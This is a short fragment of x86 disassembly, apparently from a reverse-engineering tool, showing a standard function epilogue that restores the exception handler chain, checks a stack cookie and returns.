mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x1024]
xor ecx, ebp
call fcn.1301b81a
mov esp, ebp
pop ebp
ret